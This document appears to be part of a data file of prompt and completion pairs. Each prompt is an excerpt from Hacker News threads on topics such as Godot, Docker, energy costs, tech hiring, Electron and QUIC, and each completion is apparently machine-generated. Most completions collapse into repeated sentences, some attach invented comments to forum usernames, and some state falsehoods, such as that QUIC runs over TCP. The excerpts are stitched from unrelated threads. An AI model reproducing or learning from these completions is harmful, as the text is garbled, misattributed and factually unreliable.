incarnation.\n\n~~~\nTeMPOraL\nThe problem is - most of the cool and useful personal applications of glass\nfly in the face of various social expectations. The very idea you could be\nrecording someone caused a backlash the last time, and that's nowhere near\ndoing facial recognition...\n\n~~~\neterm\nIs facial recognition creepier than recording?\n\nIf it's done in real-time, i.e. the scanned images aren't saved then surely a\n\"This is person you've met and tagged as X\" is less creepy than actually\nvideoing someone? You wouldn't get any information you haven't yourself added\nto the device (although it would probably need to lean on external data-sets\nfor the training).\n\nI wouldn't suggest facial recognition should recognise anyone you haven't met\nyet, I think that would be a bit weird (although I think it is the future\nanyway), but a way to effectively add a tag on someone you know would be\ngreat. Most people can do this without the technology to varying levels of\naccuracy and and breadth of their acquaintances.\n\n~~~\nTeMPOraL\nI think it is creepier by definition, through the very fact that the other\nperson can't verify you aren't recording. A camera is a camera. Even if the\nproduct officially doesn't record anything, who's to say I didn't mod my\nglasses' firmware to dump the video buffer? Not to mention that once video\nstream goes into cloud, you lose control over what happens to it.\n\n------\ndragonwriter\nHeadline is neither source headline not technically accurate; while X started\nlife as Google X before the Alphabet reorg, it's a separate subsidiary of\nAlphabet from"} +{"output_text": "\nand easy to use.\n\nI have been using Godot for a few months now and I am very happy with it.\n\n------\njokoon\nI'm not sure if I'm the only one, but I'm not really a fan of the Godot\napproach.\n\nI'm not sure if it's the language, the engine, or the way it's designed, but\nI'm not really a fan of the Godot approach.\n\nI", "input_text": " portable. Also, they\nuse their own shader script rather than GLSL, which means your shaders aren't\nportable either.\n\nGodot can support different languages (unlike Unity or Game Maker), but IIRC\nthat requires recompiling the engine and may break the editor.\n\n~~~\nluladjiev\nfrom Godot's documentation:\n\n>Finally, one of our brightest additions for the 3.0 release: GDNative allows\nscripting in C++ without needing to recompile (or even restart) Godot.\n\n[https://docs.godotengine.org/en/3.1/getting_started/step_by_...](https://docs.godotengine.org/en/3.1/getting_started/step_by_step/scripting.html#gdnative-c)\n\n~~~\npjmlp\nGiven that Unreal only now added such support via [https://molecular-\nmatters.com/products_livepp.html](https://molecular-\nmatters.com/products_livepp.html) partnership, I wonder how Godot is actually\ndoing it.\n\n------\nPinkMilkshake\nNice one! Such a great project.\n\nEvery time I go and have a play with Godot my mind is blown that the whole\nprogram is a single ~45MB executable.\n\n------\npkalinowski\nGodot approach to game development with nodes is superior to other solutions\nIMO.\n\nI think the biggest blocker for wider adoption is 3D performance and Inverse\nKinematics now. Without it, nobody will ever produce high profile game on\nGodot.\n\n~~~\ngouh\nYes, if you come from Unity like me you will find Godot amazingly intuitive"} +{"output_text": "decks/responsive-\nweb-design.html)\n\nJazzChad.net \n\n~~~\njazzychad\nThanks for the kind words!\n\n------\njazzychad\nI'm really happy to see this post. I've been working on a lot of side projects\nthis year, and I'm really proud of what I've accomplished.\n\nI'm also really happy to see that I'm", "input_text": "\nLet\u2019s hope those puncture proof lithium ion batteries increase their\nreliability.\n\n------\nzigzaggy\nShouldn't we skip directly to wireless charging?\n\n~~~\ndexen\nAside of the excellent points raised by _leetcrew_ in sibling post, there's\nalso the matter of avoiding spurious EM emissions.\n\nWireless charging sounds like creating a bright, pulsating \"soldiers be hiding\nhere\" beacon for any opposing force.\n\n~~~\nmusingsole\nIt also had me imagine a far future scenario where soldiers get too close to\nan enemy and accidentally recharge the enemy's depleted railgun.\n\n~~~\ndexen\nAmusing scenario however don't expect it to be a significant risk - any\nwireless system would most probably perform negotiations before beaming out\nany significant amount of power. You want that to avoid damaging sensitive\nelectronics, overheating a random chunk of metal, or plainly wasting energy.\n\nEven the good old Qi wireless charging standard does negotiations, tho those\naren't secured by any means.\n\n \nAll of my side-projects from 2012 - jazzychad\nhttp://blog.jazzychad.net/2012/12/31/year-in-review-side-projects.html\n======\njohnpolacek\nJeez, I thought I had a lot of side projects, but I think you have me beat.\nYou've inspired me to make my own list:\n\nScrollorama \n\nWhat The Heck Is Responsive Web Design\n[http://johnpolacek.github.com/scrolldeck.js/decks/responsive...](http://johnpolacek.github.com/scrolldeck.js/"} +{"output_text": " in place.\n\nI also use a wrist rest that is angled slightly downward. This is to help\nprevent the wrist from being bent too far forward.\n\nI also use a wrist rest that is angled slightly upward. This is to help\nprevent the wrist from being bent too far back.\n\nI also use a wrist rest that is angled slightly downward. This is to help\nprevent the wrist from being bent too far forward.\n\nI also use a wrist", "input_text": ", but I found that it is too big for my hand and have to stretch my\npinky finger to reach the modifier keys all the time, which made my hand sore\nafter just a few hours. I then switch to another quality keyboard: the Apple\nMagic keyboard and really happy about it since it have a lot less key travel.\nReally good keyboard except the weird directional key layout that need to get\nused to.\n\n------\nlaurieg\nFrequent breaks and regular exercise.\n\nI realise this isn't really 'ergonomics' but they help so much I have to\nrecommend them. The body is not designed to sit for hours on end.\n\n------\nmadmod\nAs someone who first had carpal tunnel symptoms at the age of eight I have\nspent a fair amount of time on this problem.\n\nCheck the temperature of your working environment. Cold joints can be the\ncause of or exacerbate various issues. Wearing gloves may help if you can\u2019t\ncontrol the climate. A personal heater can be another good option, but make\nsure the heat is indirect (pointed at a wall for example) to avoid other\nissues from prolonged exposure.\n\nI use a keyboard arm with negative incline positioned at a height so that my\nelbows are at 90\u00b0 and my wrists point slightly downward. (Height of the keys\nrelative to the wrist rest should be as close to equal as possible.) This is\nthe opposite of what most people do with the terrible kickstands that come\nwith keyboards. I find that the more negative incline I can get the better. My\ncurrent setup allows for 20-30\u00b0 Of downward wrist incline. A typical keyboard\ntray or palm rest will not do this, as the height from the desktop must be\nadjustable and it must hold the keyboard"} +{"output_text": " active population.\n\nI've also seen the vibrant economy that results from a population that is\nmostly indoors, and the vibrant economy that results from a population that\nis mostly indoors and has no active population.\n\nI've also seen the vibrant economy that results from a population that is\nmostly indoors and has no active population and is mostly indoors and has no\nactive population.\n\nI've also seen the vibrant economy that results from a population that is\nmostly indoors and has no", "input_text": " going to even remotely think\n\"Oh, this is such a wonderful place for pedestrians\" :-) Of course, Manhattan\nis very densely populated but auto/truck traffic is pretty horrible for large\nparts of the day in many areas.\n\nManhattan taxis are readily hail-able on the street. And they're supplemented\nby both Uber/Lyft and private car services. So, as a city, it's probably the\ndefinition of well-served by third-party cars and it's very much a part of the\ncity's fabric. Just good luck getting either a cab or Uber (at a reasonable\nrate) if it's pouring rain.\n\nMaybe $10 should be $15 but who knows about vehicle costs in some hypothetical\nfuture or what human support would be needed. My basic point was that, to a\nfirst approximation, we already have what amount to self-driving cars within\nlarger and denser cities.\n\n------\nmpweiher\nThis report is false. While Hamburg does plan for a \"Green Network\", there are\nno plans to ban cars or become \"car free\".\n\nOfficial statement from the city of Hamburg (in German):\n[http://www.hamburg.de/pressearchiv-\nfhh/4257482/2014-01-24-bs...](http://www.hamburg.de/pressearchiv-\nfhh/4257482/2014-01-24-bsu-keine-autofreie-stadt/)\n\n------\nCalRobert\nWe didn't seem to have any trouble banishing people from the streets, so I\nhardly see the problem.\n\n~~~\nVLM\nAdding to that insight, I've gone hiking in the backcountry and I've seen the\nvibrant economy that results from an"} +{"output_text": "tails.\n\n4\\. I want to be able to make a \"personal\" cocktail for a friend or family\nmember.\n\n5\\. I want to be able to make a \"personal\" cocktail for a friend or family\nmember.\n\n6\\. I want to be able to make a \"personal\" cocktail for a friend or family\nmember.\n\n7\\. I want to be able to make a \"personal\" cocktail for a friend or family\nmember.\n\n", "input_text": " it\ntoo complex the way the reporting comes out?\n\n~~~\nbartonfink\nI don't know the scope of Colin's cron problems, but filtering out mail in\nthis case seems like a less preferable solution than simplifying the way cron\ndoes email to begin with. Filtering e-mail in this case is like putting your\nfingers in your ears when you walk by a loud stereo you've left on instead of\njust turning it off. As a developer, cron doesn't give me a lot of control\nover where e-mail is sent unless I jump through hoops to give myself that\ncontrol. Ignoring the complexity of the reports, and the fact that filters\nlike that don't easily scale across different recipients, the fact is that\ncron's e-mail capability is extremely coarse-grained. For every run of every\njob, the entire output is e-mailed out to the address specified in the\ncrontab. This gets very unwieldy.\n\nI've had to write cron table entries with a blank mail recipient in the\ncrontab itself, and handle the specific mailing cases in the job script. This\nsucks. I'm not sure I think the solution is something that reads cron-mail and\nautomatically generates filters, but I would very much like it if cron\nsupported e-mail lists based on return codes or something else like that.\n\n------\ncallmeed\n1\\. I want to finish my CS bachelors degree online from somewhere reputable\n\n2\\. I want an \"Uber for babysitters\" (yes I know of sitter city and the like,\nnot impressed)... we are very last-minute and spontaneous so our regular\nsitters aren't always available.\n\n3\\. I often want to try making new/different cock"} +{"output_text": ".\n\nA strong economy will also allow NK to develop nuclear weapons.\n\nA strong economy will also allow NK to develop missiles.\n\nA strong economy will also allow NK to develop a nuclear weapons program.\n\nA strong economy will also allow NK to develop a missile program.\n\nA strong economy will also allow NK to develop a nuclear weapons program.\n\nA strong economy will also allow NK to develop a missile program.\n\nA strong economy will also allow NK to", "input_text": " demonstration (to my ears) of where that came from. It's\npossible perhaps that Xi Jinping whispered wonderful ideas and/or threats in\nKim Jong-un's ear when he visited, but that's opaque to us and media I've read\nseems to be ignorant of such potential influence. If Kim were so serious, we\nshould need him to demonstrate that credibly to us, through actions that are\ncostly for him to take: in particular, pitching this change of vision directly\nand passionately to the populace of North Korea.\n\nKim Jong-un wants to get out from under the chokehold of heavy trade\nsanctions. He wants to be legitimized in the international community as the\nleader of a real nation. He wants to modernize both his military and his\nnation and his personal life. He probably dreams of visiting Paris and\nManhattan.\n\nIt is my belief that he will be able to get these things -- without giving up\nnuclear weapons, missiles, nor giving up his political or military power over\nNorth Korea. From Kim's perspective, democratic politicians are weak and\nmanipulable, and he will find it to be especially true right now.\n\n(edit: s/telescoped/telegraphed/ \\-- thanks!)\n\n~~~\nhangonhn\nThat he's been able to do this with South Korea alone without the US at the\ntable tells you how strong of a hand he has and how weak our hand is.\n\nI think this is a ploy to do two things: 1\\. Economic growth for North Korea,\nwhich has been happened to some extend already. 2\\. Get the US out of the\nKorean Peninsula.\n\nA strong economy will allow NK to develop or buy all sorts of updated\nconventional arms. NK is seriously weak here"} +{"output_text": "_Employment_Report)\n\n~~~\njlgaddis\nI'm not sure why you're being downvoted.\n\n------\njedberg\nI'm not sure why this is surprising.\n\nI've been in the same job for over a decade. I've been in the same company for\nover a decade. I've been in the same city for over a decade.\n\nI've been in the same house for over a decade.\n\nI", "input_text": "crime.\n\nIn the ideal case, if the suspect is actually guilty, they save the\nprosecutors office time and money in actually preparing the case for trial,\nand the defendant gets a lesser punishment and doesn't spend their money on a\ntrial defense either.\n\nIn the less ideal case, say if the suspect is actually innocent but is not\nbelieved or can't prove it easily, the suspects are put in a tough position -\nplead guilty to something they didn't do, or a long and expensive trial with\nuncertain outcome. It gets particularly dubious when the prosecutors try to\ntilt the scales towards the plea side by threatening to go for the max\npunishment on the most serious crime they could possibly charge if the suspect\nchooses a trial. It sounds like this could be a case where this threat was\ncarried out and the prosecutor is going for a knowingly over the top\npunishment to punish them for daring to not take a guilty plea.\n\n------\njlgaddis\n> _Ahu Yildirmaz, an economist who helps lead the research arm of the payroll-\n> processing company ADP, said her firm\u2019s data showed more people switching\n> jobs, and getting bigger bumps in pay for doing so._\n\nSo... if I work for a company who uses ADP for payroll, ADP is tracking\nif/when I change jobs and how much my salary is over time?\n\nI wonder what else they're doing with my private information.\n\n~~~\nRhodesianHunter\nThe ADP employment report is eagerly watched by economists and traders and\ngoes back decades.\n\n[https://en.m.wikipedia.org/wiki/ADP_National_Employment_Repo...](https://en.m.wikipedia.org/wiki/ADP_National"} +{"output_text": "\n\n~~~\ningve\nI'm not a Conan user, but I've been using Vcpkg for a while now and I'm\npleased to see it getting more attention.\n\nVcpkg is a C++ library manager, which means it can handle all the C++\ndependencies of your project, and it can also handle all the dependencies of\nyour dependencies.\n\nVcpkg is a tool that you can use to manage your C++ dependencies, and", "input_text": "'d save me the time of looking for\na better blade. But even DSC doesn't claim their blades are better, except for\nsilly marketing copy like \"this blade comes from the future and lives in outer\nspace,\" which is more about setting an irreverent tone than about actually\narguing with a straight face that they're better than the competition.\n\n~~~\nwil421\nYou have never gone to shave and felt the pull and tug of an old razor? Then\nyou go to work only to forget that you need to buy new ones on the way home\nand the process goes on again. This process happens to me because I am usually\nfocused on buying food and not non-perishable goods.\n\nI switched to DSC recently because of this and I am tired of paying\nGillette/Schick $20-$30 on a pack of razors.\n\n \nAnnouncing a single C++ library manager for Linux, macOS and Windows: Vcpkg - ingve\nhttps://blogs.msdn.microsoft.com/vcblog/2018/04/24/announcing-a-single-c-library-manager-for-linux-macos-and-windows-vcpkg/\n======\nhoistbypetard\nDigging around the announcement a bit, I'm having a hard time seeing why I\nmight prefer this over Conan[1], and I'm not seeing anything about how I can\nstand up my own private repository for vcpkg, which is what I am about to do\nwith Conan. Can anyone sound off (or link a page where someone has done so) on\nwhat might tip someone toward this over Conan or vice versa?\n\n[1]([https://www.conan.io/](https://www.conan.io/))"} +{"output_text": " a good idea to have a \"no comments\" option. I've seen a lot of\npeople who don't want to comment on a post, but they still want to see the\npost.\n\n~~~\nfranze\ni agree. i think the \"no comments\" option is a must.\n\n------\njoshu\nI think the problem is that the \"comment\" is a verb.\n\n~~~\nfranze\ni agree. i think the \"", "input_text": " to start shooing away many people who'd otherwise be\ninterested in participating. Some/many will simply never come back.\n\nFB has a penetration of roughly 50% of the population in first world developed\nnations, and that seems to be its zenith (usage has actually started falling\nin the US and other early-adopter regions). So you're excluding roughly half\nyour potential participants.\n\nHow the FB usage pattern distributes across your target/desirable population\nis of course another question. I don't have the answers on that.\n\n~~~\nfranze\nas i said before: i would love that somebody comes up with a better study and\nproves my mini sample wrong, sadly i know none.\n\ni did a similar research of fb enabled signeups vs. non fb signups (on desktop\nweb apps) - outcome: if you enable signups via fb, you get more signed up\nusers.\n\ni think the pro/con fb comments/signups discussion should be based on data\n(data that is easy to get on our own webproperties) and not on opinions.\n\n------\nalpb\nI am using DISQUS (version 2012) for a while on my personal blog and I am very\npleased. I get more comments than the times I installed FB Comments, I get\nmore traction and people actually share through DISQUS star button.\n\nHere's a blog post I wrote about switching to DISQUS\n[http://ahmetalpbalkan.com/blog/disqus-addressed-my-\nconcerns-...](http://ahmetalpbalkan.com/blog/disqus-addressed-my-concerns-\npretty-well/)\n\n------\nAznHisoka\nIt's also"} +{"output_text": " 1 db server.\n\nI'm not saying that docker is the right tool for the job, but I'm curious if\nit's worth the effort to optimize for it.\n\n~~~\ngeerlingguy\nI've seen some benchmarks that show that Docker containers are faster than\nVMs, but I haven't seen any that show that Docker containers are faster than\nbare metal.\n\nI think the main reason is that Docker containers are much more lightweight\nthan bare metal,", "input_text": " does Docker handle this?\n\n~~~\ngeerlingguy\nOne way I've seen many people tackle this problem is to have the\nDockerfile/image built in a more generic way, then the end of the Dockerfile\nkicks off an Ansible playbook (or some other lite CM tool) that will configure\neverything for the proper environment (e.g. change configuration and kick off\na service, something along those lines).\n\nSome will even go as far as using a CM tool to do the entire internal\nDockerfile build, and the Dockerfile is just a wrapper around the CM tool.\nThis does require more bloat inside the Docker image, as you need to have your\nCM tool or whatever other supporting files/scripts installed in the image, but\nit does make more complex scenarios much simpler.\n\n~~~\nyebyen\n> you need to have your CM tool or whatever other supporting files/scripts\n> installed in the image\n\nThis pattern is maybe even more helpful than harmful, for making your dev\nenvironment more closely match production, when your final deploy target is\nnot a docker container.\n\n(You are obviously going to want to see those build scripts running in test,\nif not earlier; certainly once, before they should kick off in a production\nenvironment.) You could do more individual steps in the docker file, just like\nyou could store your token credentials and database handles in the git\nrepository. Neither way is \"completely wrong\" but there is a trade-off.\n\n------\nvruiz\nSide question. I'm well aware of the benefits of docker but, has anybody\nmeasured performance degradation due to lack of machine specialization? Back\nin the web 1.0 days it was common knowledge that you start in 1 server, then\nyou split into 1 app server and"} +{"output_text": "\n~~~\nbriansmith\nI don't know about the domestic flights, but I've seen this happen with\ninternational flights.\n\n------\njoshu\nI like the idea, but I think it would be better if it was a single window.\n\n~~~\nbriansmith\nI agree. I think the single window is the best solution.\n\n------\njoshu\nI like the idea, but I think it would be better if it was a single", "input_text": ". time of day is a parameter\nwe'll definitely be adding soon. (it's actually one of the trickier ones to\nimplement).\n\n------\nsammyo\nAlso opening a couple dozen new browser windows is a good way to ensure your\nsite is only used once.\n\n~~~\nkirubakaran\nNormally I'd agree, but in this case it is exactly what I wanted!\n\n------\njbrun\nThat is a great site, beats all others hands down. Pop-ups suck, but still\nbeats the other sites. I love entering the date in words.\n\n------\nanthonyrubin\nIf you are going to create a new site in this space it has to be at least as\ngood as Kayak. Tripeedo fails horribly. As others have mentioned, a site that\nsimply opens numerous windows with the results from each site is not adequate.\n\n~~~\nbriansmith\nTripeedo has two obvious advantages over Kayak:\n\n(1) It can help you search discount airlines like JetBlue and Southwest.\n\n(2) It will show you fairs that are exclusive to the airlines' websites. (I\ndon't think I've ever run into a situation where the airline's website had a\nprice significantly lower than what was on Kayak but I've heard rumblings that\nit happens.)\n\n~~~\njpwagner\nI agree with both of these thoughts, but where is tripeedo when kayak partners\nwith all of these?\n\ni recently went to hong kong and searched all of these engines and got\ndiscouraging prices. I did one search on Cathay Pacific's website and saved\nclose to 40%. I'm almost positive you won't see this with domestic flights\n(for now.)\n"} +{"output_text": " a product that no one wants.\n\n------\njoeblau\nI'm not sure if you're asking this question because you're not sure if you\nneed VC or not, but I'll answer anyway.\n\nIf you're not sure if you need VC, then you probably don't.\n\nIf you're not sure if you need VC, then you probably don't.\n\nIf you're not sure if you need VC, then you probably don't.\n", "input_text": " capital to scale and others just continued to\nbootstrap.\n\n------\neaenki\n1\\. Almost all the capital is in SF/NY. Move accordingly. Good luck with the\nVisa- it\u2019s going to be a PITA\n\n2\\. Have founders who raised capital as friends. Good luck with that too!\n\n3\\. Now if you have a decent looking product and a plausible story you\u2019ll\nraise seed\n\nOr, you know, getting into YC kinda takes care of all 3 points.\n\nAlso, getting insane traction on your own, like WhatsApp did, takes care of\nall 3 points.\n\n~~~\nAnswerawake\n\"Also, getting insane traction on your own, like WhatsApp did, takes care of\nall 3 points.\"\n\n...do you think there is space and/or interest for a WhatsApp clone?\n\n~~~\nfrancescopnpn\nI don't?\n\n------\nsub7\nFinding investors is easy (use AngelList), getting them to invest is harder.\n\nAt your stage, they will look at team, traction, and social proof. Generally\nbeing exceptional in 1/3 of the above criteria will give you a pass on any of\nthe other 2.\n\nMy best advice is hustle your way to 10 users and if they're happy go raise a\nseed round.\n\n------\nfbelzile\nAre you sure VC funding is needed to get started? Is there a reason you ruled\nout bootstrapping?\n\nSure, you probably won't grow as big as fast, but you'll remain totally in\ncontrol and enjoy the freedom of working for yourselves.\n\n------\npascalxus\nthe first thing you should do is talk to customers, or potential customers.\ndon't make the mistake of building"} +{"output_text": "\nimprovement in the materials used, and the efficiency of the turbines.\n\nThe other big thing is the cost of the fuel. The cost of the fuel is\nincreasing, but it's not the only thing that's increasing.\n\n~~~\nspenczar5\nThanks for the explanation. I'm not an expert, but I'm curious about the\n\"continuous improvement in the materials used\" part. What are some of the\nmajor developments in this area?\n\n~~~", "input_text": " available,\nat scale, right now. But traditional light water reactors? They're a\ntechnological dead end. The cost doesn't work.\n\n~~~\nenqk\nWhen you're saying nuclear can't keep up with the cost, are you comparing the\nsame kwh?\n\nFor wind and solar if you install X kwh for amount A, and for nuclear Y khw\nfor amount B, X represents a peak available capacity.. At best, what is the\nguaranteed available khw you get for this installed base? 0.10 * X?\n\nFor nuclear the available capacity is much closer to Y.\n\nSo if the available capacity from wind/solar was something like 0.10 X, then\nit means you'll have to install 10x more wind and solar than you would need\nnuclear. Which needs more material and more energy expenditure (more CO2?) to\ninstall.\n\nIf you compare cost, similarly, A would have to be 10x smaller than B to make\nwind/solar be cheaper.\n\nSome other issues is how Solar competes in terms of surface with areas that\nyou'd grow food in (unless you build in the desert, but then you have issues\nsuch as dust on the panels, and the need to carry the energy across large\nland)\n\n------\nspenczar5\nWhat are the developments that have made solar and wind _so much_ cheaper over\nthe last 15 years? I am hoping HN has an expert lurking about who can unpack\nthis.\n\n~~~\npjc50\nIt's not one big thing as a thousand thousand little things that individual\nengineers have worked on.\n\n\"Simply\" making the turbines bigger helps quite a lot, but that requires\nengineering the blades and support structures. There's also a continuous"} +{"output_text": " a pretty good read.\n\nI'm not sure I buy the argument that Uber's technology is \"hard to understand\nwhy the DMV would seek to require self-driving Ubers to get permits when it\naccepts that Tesla\u2019s autopilot technology does not need them.\"\n\nI mean, I get that the DMV is a regulatory body, but it's not like they're\njust going to accept that Tesla's autopilot feature is \"not needed\" and", "input_text": ". If they kill and hit someone, Kalanick is easily portrayed\nas a ready-made movie villain. Wantonly ignoring state and local laws in the\nhopes of getting ahead of the pack, sacrificing the life of cute little\ntoddler Adam to the altar of Mammon?\n\nAnd it's really not just portrayed: Uber'll deserve any and all punishment\nthrown at them for this, up to and possibly including the shut down of the\ncompany and criminal charges for the people who did this. And Uber'll be\nsetting the cause of self-driving cars back years, maybe even a decade.\n\nThis is all incredibly obvious too, and I don't think Uber folks are idiots.\nMaybe they're getting desperate, and they're willing to eat the risk of the\ncompany being destroyed because their business strategy for survival is\nsensitive to getting to production-ready self-driving cars a year earlier than\nthey would have otherwise?\n\n~~~\nFricken\nUber's is laying the groundwork to make the legal case that Tesla owners using\nautopilot are in fact 'testers', presumably in hopes of tangling Tesla up.\n\n'Levandowski compared Uber\u2019s technology to Tesla\u2019s autopilot feature, saying:\n\u201cIt\u2019s hard to understand why the DMV would seek to require self-driving Ubers\nto get permits when it accepts that Tesla\u2019s autopilot technology does not need\nthem.\"\n\n[https://www.theguardian.com/technology/2016/dec/16/uber-\ndefi...](https://www.theguardian.com/technology/2016/dec/16/uber-defies-\ncalifornia-self-driving-cars-san-francisco)\n\n~~~\nscarmig\nThat's"} +{"output_text": " engineers be a good thing?\n\n~~~\njedberg\n> But by your own admission, the bar is already low enough to admit false\n> positives so I think you're conflating issues here.\n\nI don't think that's true. I think the bar is set too high.\n\nI think the bar should be set lower. I think the bar should be set so that\nthere is a 50% chance that someone who is not a good engineer will be\n", "input_text": ", Jack Dorsey, didn\u2019t go to a top CS\n> school. However, it\u2019s still the case that college and experience is an\n> imperfect signal of ability.\n\nIn other words: Here's all of these great reasons I've found not to trust\nsomeone's schooling as a good indicator of their ability, but I'm going to use\nit anyway.\n\nOP is what's wrong with tech hiring.\n\n~~~\nacctjustforyou\n\"There exists a young man with no legs who has a stellar collegiate wrestling\nrecord.\n\nThere also exists an athlete in the most prestigious wrestling program in the\ncountry who always loses because he never makes weight, and when he does make\nweight, he gets defeated in seconds.\n\nTherefore I can confidently conclude that 'number of limbs' has no correlation\nwhatsoever to wrestling ability.\"\n\nHmmm...\n\n~~~\ndclowd9901\nSounds like you get it.\n\n------\nthelock85\nFascinating. It mostly seems you're company is taking a poor approach to\ndiversity, and doing even worse at communicating and gaining buy-in from\nexisting employees. With the exception of #1, it seems all of these strategies\nare aimed at eliminating signals that skew heavily toward elite-educated men\nso that the top of your funnel is more diverse. So perhaps the real issue is\nthat the hiring process allows for \"many engineers who are barely competent at\ntheir job.\" And perhaps there aren't enough resources to improve said process\nand handle a greater volume of potentially unqualified applicants. But by your\nown admission, the bar is already low enough to admit false positives so I\nthink you're conflating issues here. On a side note: holding your argument to\nbe true, could the existence of barely competent"} +{"output_text": "\u2019re able to ship a native app that\u2019s as fast as a native\napp, and it\u2019s also cross-platform.\"\n\nI'm not sure I agree with this. I think it's more like \"we're able to ship a\nnative app that's as fast as a native app, and it's also cross-platform.\"\n\n~~~\njosteink\n> I think it's more like \"we're able to ship a native app that's as fast", "input_text": " non-\nnative.\n\n~~~\nblub\nBalsamiq Mockups is built with Flex/AIR. It's quite decent, but a bit\nsluggish.\n\n------\nawinder\nCan we talk about the other red headed stepchild of desktop dev which is java\ncross platform apps? It'll take a lot to get me off my high horse that if all\nthat was ported to electron, it'd be a great upgrade for users.\n\nIt's also a bridge for Linux desktop to get critical, same-in-class app\nsupport. Not a final destination but a possible breakpoint infusion.\n\n~~~\ndiek\nSo, like IntelliJ? We should port IntelliJ to Electron?\n\n~~~\nrlabrecque\nI mean we already have VSCode and Atom both running on Electron.\n\n~~~\nawinder\nI had tons of memory problems on webstorm, basically romping through 4GB+, it\nwas taxing my 16GB laptop at times. Switching to vscode has been a huge\nresource saver.\n\n~~~\ntommica\nI have the opposite issue - PHPStorm works fine, but VS Code and Atom are\ncompletely sluggish even on simple PHP files\n\n------\nogezi\nI completely agree with this. Electron drops the entry barrier for desktop\ndevelopment much like flash did for web development.\n\nAs computers get faster I think that the difference in performance of apps\nusing electron versus platform native apps will be imperceptible.\n\n~~~\nharrygeez\nI would much rather see React Native succeed than Electron.\n\n~~~\npier25\nI would much rather see a native to JS bridge completely decoupled from React.\n\n------\nDonFizachi\n\"With Electron, we"} +{"output_text": " than we thought, I think\nthis is a pretty big assumption.\n\nYou then go on to say that \"Dogs clearly understand parts of human language\nand judging them by their ability to understand it seems like the best way to\ndetermine their intelligence\". I think this is a pretty big assumption as well.\n\nYou then go on to say that \"In the end I can't help but feel like over-\nsentimental and hyperbolic (would you say we've \"unde", "input_text": " to better\nreproductive opportunities for those dogs which we are more attached to. For\nall we know, dogs responses to human emotions, gestures, and nonverbal cues\nare a completely autonomic behavior.\n\nI love dogs, I think my dog is super-smart, funny, and very sweet. I've heard\nher particular breed referred to as \"the dog with the human brain\" on some dog\nTV show before, and I'm sure she's not even as smart as a collie. That said, I\ncan't help but feel like your comment is a bit... overwrought. Dogs clearly\nunderstand parts of human language and judging them by their ability to\nunderstand it seems like the _best_ way to determine their intelligence. I\nwould hardly call it \"remarkably arrogant\". You have to consider the fact that\nhumans have likely had spoken language for as long as we've had domesticated\ncanines.\n\nIn the end I can't help but feel like over-sentimental and hyperbolic (would\nyou say we've \"underestimated the intelligence\" of, say, jellyfish?)\ndeclarations like yours really set us up only for disappointment. Our dogs are\ngreat, and probably do actually _love_ us, but they're not furry little\ngeniuses held back only by their lack of proper speaking ability.\n\nAll that said, they're still _way better_ than cats.\n\n~~~\njeremymims\nThis is precisely why I believe almost all of these experiments are flawed.\n\nYou begin with the assumption (based on nothing other than a general feeling\nof human specialness) that \"For all we know, dogs responses to human emotions,\ngestures, and nonverbal cues are a completely autonomic behavior\". Considering\nthat we discover all kinds of animals are smarter"} +{"output_text": " the\nshoulder, or the proportion of the face?\n\n~~~\nPracticality\nI think you're missing the point.\n\nI'm not saying that it's inane to care about the proportion of clothing, or\nthe angle of the shoulder, or the proportion of the face.\n\nI'm saying that it's inane to care about the proportion of clothing, or the\nangle of the shoulder, or the proportion of the face, when everyone has the\n", "input_text": "\nA lot of problems suddenly disappear.\n\nAI, on the other hand, while very useful, doesn't change people. And frankly,\nmost problems we have are because people lack understanding. I don't know\nabout you, but I don't actually want to replace mankind with something else, I\njust want us all better.\n\nOf course, what \"better\" is--is highly debatable, so that definitely gives\npause as well.\n\n~~~\nmziel\n> A lot of problems suddenly disappear.\n\nNot to be negative but citation needed.\n\nAlso (I guess we'll cross \"isolation\" of the list):\n[https://en.wikipedia.org/wiki/Intellectual_giftedness#Social...](https://en.wikipedia.org/wiki/Intellectual_giftedness#Social_and_emotional_issues)\n\n~~~\nPracticality\nAn interesting point. I think your citation adds to the point though.\n\nIn observing my \"normal\" peers, honestly, they do a lot of very strange things\njust to be considered normal.\n\nI mean, it's pretty expensive just to keep up with current trend of sunglasses\nsize or sock length, just to be seen as normal.\n\nNot to mention that you have to hold your hands a certain way and talk\nincoherently.\n\nThere is a lot of \"normalizing\" behavior that becomes unnecessary when\neveryone has the capacity to see how inane and impractical such behavior\nreally is.\n\n~~~\nycosynot\nA lot of smart men have been passionate about the proportion of columns, or\nthe proportion of numbers, or even the aesthetics of curly braces. So why is\nit inane to care about the proportion of clothing, or the angle of"} +{"output_text": " good idea to\nsay \"No, I don't think that's a good idea.\"\n\n------\njasonlbaptiste\nI'm a big fan of the \"no\" approach. I've been doing it for years. I've\nbasically been a consultant for the last 5 years. I've been doing it for\nmyself, and for my friends. I've been doing it for my clients. I've been doing\nit for my friends. I've been doing", "input_text": " own VPS, and you should certainly not sign up\nwith me, as all my interfaces are command-line only, and I don't have a nice\nGUI web control panel like many competitors do, and my support is email-only.\ngo, pay the extra bucks, pay slicehost, and get someone to talk you through it\non the phone. I don't charge enough to deal with that sort of thing.\n\nIf you wanted to hire me by the hour, that'd be different, but we're talking\nabout people giving me $8/month.\n\n~~~\nDougBTX\nYour line makes more sense now, since you're talking about a different\nsituation from the article. It's a different relationship; since anything you\ndo would have to benefit the many of your users at once to be worthwhile, it\nmakes sense to have users who are similar to each other, ie, to say no to the\noutliers.\n\n~~~\nlsc\nYeah. a successful product business involves a whole lot more 'no' than a\nconsulting business.\n\nHowever, I think even when working by the hour, when I charge what I seem to\nbe able to charge lately, I try to say \"No, that's outside of my area of\ncompetence\" because really, they are paying me way too much for me to 'figure\nit out.'\n\nWhen it is in my area of competence, I think it's just as important to say\n\"No, I think that's a bad idea, and here's why\" - They are paying me silly\nrates, presumably because I know more than they do about what we are trying to\nget done; Sure, sometimes you need to translate the technical choice into a\nbusiness decision and push it up the chain, but sometimes it's a"} +{"output_text": ".\n\n~~~\nsolotronics\nI think you are right. I think the best solution is to have a protocol that\ncan be used to pass packets between networks that are not connected.\n\n------\njedberg\nI'm not sure I understand the point of this.\n\nThe problem with QUIC is that it's not a protocol. It's a transport layer\nprotocol. It's a protocol that happens to be used over TCP.\n\nSo why not", "input_text": "ification\n\nI'd never heard of the term 'ossification' regarding a protocol before. But\n\"QUIC as a solution to protocol ossification\" from LWN [1] clears it up:\n\n> TCP suffers other problems as well.... Middleboxes (routers between the\n> endpoints of a connection) interfere with traffic and make it difficult to\n> improve the protocol. They aren't supposed to be looking at TCP headers, but\n> they do so anyway and make decisions based on what they see, often blocking\n> traffic that looks in any way out of the norm. This \"ossification\" of the\n> protocol 